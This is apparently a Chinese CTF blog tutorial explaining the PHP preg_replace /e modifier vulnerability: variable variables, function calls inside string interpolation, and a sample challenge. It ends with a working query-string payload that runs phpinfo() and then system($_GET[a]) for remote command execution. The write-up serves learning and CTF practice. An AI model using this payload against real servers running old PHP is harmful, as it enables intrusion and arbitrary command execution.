php preg_match的/e模式漏洞利用

发布于 2024-08-01  571 次阅读


前置知识

php的可变变量

php中,$$a代表把变量$a的值当作变量名使用,如:

$a = "hello";
$$a = "world";
echo $hello;

输出为"world"

php字符串中的变量名解析

在php中,双引号包裹的字符串内如果有变量名,则会把变量名解析之后嵌入到字符串中
最基本用法:

$a = "Mak";
echo "My name is $a";

输出"My name is Mak"
在一些时候需要加上大括号以避免歧义,如

$a = "Mak";
echo "My name is ${a}4R1";

输出为"My name is Mak4R1"。
如果没有大括号,php就会去寻找名为a4R1的变量。

在这里可以使用可变变量,在大括号里放一个变量$b的值为"a",php先解析$b取得"a",再解析$a取得"Mak",即$$a,像这样:

$a = "Mak";
$b = "a";
echo "My name is {${$b}}4R1";

输出为"My name is Mak4R1"。

在一些版本的php中,如果大括号内的变量名是一个带()的函数,那么php会调用这个函数取得返回值(相当于之前的$b),再寻找名为此返回值的变量进行嵌入。如:

$a = "Mak";
echo "My name is ${chr(97)}4R1";

在这里php执行了函数chr,取得返回值"a",然后找到了$a进行嵌入。
image_mak在一些php版本中,这样的以字符串中变量解析的方式调用函数,需要再套一层大括号
像这样:

$a = "Mak";
echo "My name is {${chr(97)}}4R1";

image_mak也就是说如果我们的输入能被直接放到双引号中,就可以构造这样的payload来进行任意php函数执行。
这一点网上讲preg_replace漏洞的文章都没有讲清楚,但其实也不难

preg_replace函数

preg_replace($pattern,$replacement,$subject);
搜索 subject 中正则匹配 pattern 的部分,以 replacement 进行替换。

echo preg_replace("/test/","try","test php test 123");

返回"try php try 123"

/e模式

/e模式下的preg_replace,在$pattern和$subject成功匹配的情况下会把第二个参数$replacement当作函数执行,取返回值作为preg_replace的$replacement参数。如:

echo preg_replace("/test/e","chr(65)","test php test 123");

会执行函数chr(65)获得"A"作为$replacement参数
返回值为A php A 123
/e模式很危险,在7.x版本后就停用了,改为preg_replace_callback函数。

正则匹配中的* . \S () "\\1"

.代表匹配除了换行符的任意字符
\S代表匹配任意可见字符
*代表匹配零个或多个
如\.*代表匹配零个或多个任意字符,即直接匹配一整个字符串
()代表分组匹配,可以使用反向引用
如用"(a\S*)"来匹配"adfx\nbagh",即分组匹配a接上零个或多个可见字符,匹配到两组,分别为adfx和agh。

这个时候如果在replacement中使用回调,"\\n"代表匹配到的第n组字符串,如\\1代表"adfx",例子:
image_mak

利用姿势

如果$replacement可控,那就可以直接输入任意函数执行了,一般是$subject或者$pattern可控,然后$replacement是个回调$subject中内容的,题目:

<?php
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
?>

将get请求的参数名作为分组匹配的内容,参数值作为subject
我们给的subjec如果能一次全部匹配上,会被放入strtolower("\\1")的双引号中作为\\1的内容
因此可以利用php解析字符串+把函数当作可变变量的特性,把subject设为{${phpinfo()}},再把patter设为\S*来一次匹配所有字符,就能把整个"{${phpinfo()}}"作为匹配到的第一组数据放入双引号中进行解析,从而执行依据前置知识中的逻辑执行phpinfo函数。
因此payload为?\S*={${phpinfo()}}
image_mak
然后phpinfo()改成system($_GET[a])即可rce,注意这里的payload不能有引号
image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-24